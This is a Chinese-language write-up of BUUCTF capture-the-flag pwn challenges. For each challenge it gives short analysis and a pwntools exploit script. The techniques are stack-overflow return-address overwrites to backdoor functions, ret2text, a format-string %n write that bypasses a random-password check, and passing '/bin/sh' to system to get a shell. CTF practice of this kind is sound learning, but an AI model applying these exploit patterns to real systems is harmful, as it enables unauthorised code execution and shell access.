记录写BUUCTF的过程

test_your_nc

一道简单的题目,直接nc连接并ls看有哪些文件,最后cat获得flag。(从给的二进制文件也可以看出,程序运行直接执行system(‘/bin/sh’),获取shell)

rip

本题是一道64位的elf,并没有开启什么保护

在IDA中发现存在明显的栈溢出以及后门函数,因此这就是一道简单的栈溢出,通过gets函数溢出修改返回地址到后面函数即可。

exp:

from pwn import*
ret=0x401016
io=remote('node5.buuoj.cn',29603)

payload=cyclic(0xF+8)+p64(ret)+p64(0x401186)
io.sendline(payload)

io.interactive()

warmup_csaw_2016

本题是一道64位的elf,并没有开启什么保护

放入IDA中发现,会输出一个含有system(‘cat flag.txt’)的函数地址,并且在main函数最后会调用gets函数,因此存在明显的栈溢出。

exp:

from pwn import*
io=remote('node5.buuoj.cn',26192)

payload=cyclic(0x40+8)+p64(0x4004a1)+p64(0x40060D)
io.sendline(payload)

io.interactive()

ciscn_2019_n_1

本题是一道64位的题目,只开启了NX保护

通过IDA可以发现,先输入赋值给v1,接着判断v2的值,如果v2=11.28125,则执行system(“cat /flag”)。

因此有两站思路:1、算出v1至v2的距离,将v2的值覆盖为11.28125即可。2、直接理由gets函数进行栈溢出,并将返回地址改为system(“cat /flag”)即可。

方法1:

from pwn import *
io=remote('node5.buuoj.cn',28254)

payload = b'A'*(0x30-0x4) + p64(0x41348000)
io.send(payload)

io.interactive()

方法2:

from pwn import*
io=remote('node5.buuoj.cn',28254)

payload=cyclic(0x30+8)+p64(0x4006BE)
io.sendline(payload)

io.interactive()

pwn1_sctf_2016

本题是一位32的题目,且只开启了NX保护

通过在IDA中发现,是一个c++编写的程序,应该是静态编译的,分析程序代码发现,其会将I变为you,会增加两个字节,从而就会造成栈溢出,将返回地址改为后门函数即可。

exp:

from pwn import *
io = remote("node5.buuoj.cn",26466)
elf = ELF("./pwn1_sctf_2016")
system_addr = elf.symbols["get_flag"]
#system_addr = 0x08048F13
payload = b'I'*21+b'a'+p64(system_addr)
io.sendline(payload)
io.interactive()

jarvisoj_level0

简单的64位ret2text,且存在后门函数,直接上exp:

from pwn import*
io=remote('node5.buuoj.cn',29956)

payload=cyclic(0x80+8)+p64(0x400431)+p64(0x400596)
io.sendline(payload)

io.interactive()

[第五空间2019 决赛]PWN5

这是一道32位的题目,开启了Canary保护以及NX保护

在IDA中发现,该程序不存在栈溢出,但已经给出了后门函数,只需要进行判断即可,本题的逻辑为:从/dev/urandom文件中读取一个随机数放到0x804c044地址处的变量中,然后用户输入用户名和密码,如果密码和变量相同则能够提权。

read(fd, &buf_, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == buf_ )
{
puts("ok!!");
system("/bin/sh");
}

在这里存在一个格式化字符串漏洞,可以利用这个漏洞使用%n修改buf_的值,因此首先需要找到输入的参数在栈上的偏移量是多少,这里可以用fmtarg这个插件直接找到偏移

通过read(fd, &buf_, 4u)可知长度为4个字节,因此可以用%10$,%11$,%12$,%13$来定位地址,再用%n修改内容就可以了。

exp:

from pwn import*
context(arch='i386',os='linux')
#io=process('./第五空间2019决赛--PWN5')
io=remote('node5.buuoj.cn',28693)
#gdb.attach(io)

payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%10$hhn%11$hhn%12$hhn%13$hhn'

io.sendline(payload)

io.sendline(str(0x10101010))

io.interactive()

jarvisoj_level2

是一道简单的32位的题目

在IDA中发现关键函数,存在栈溢出,本程序给出了system函数以及/bin/sh字符串,但是并没有在一起,因此就将/bin/sh作为参数传入system函数即可。32位是后传参,而64位是先传参。

exp:

from pwn import*
elf=ELF('./level2')
io=remote('node5.buuoj.cn',25264)

system=elf.sym['system']
bin_sh=0x0804A024

payload=cyclic(0x88+4)+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload)

io.interactive()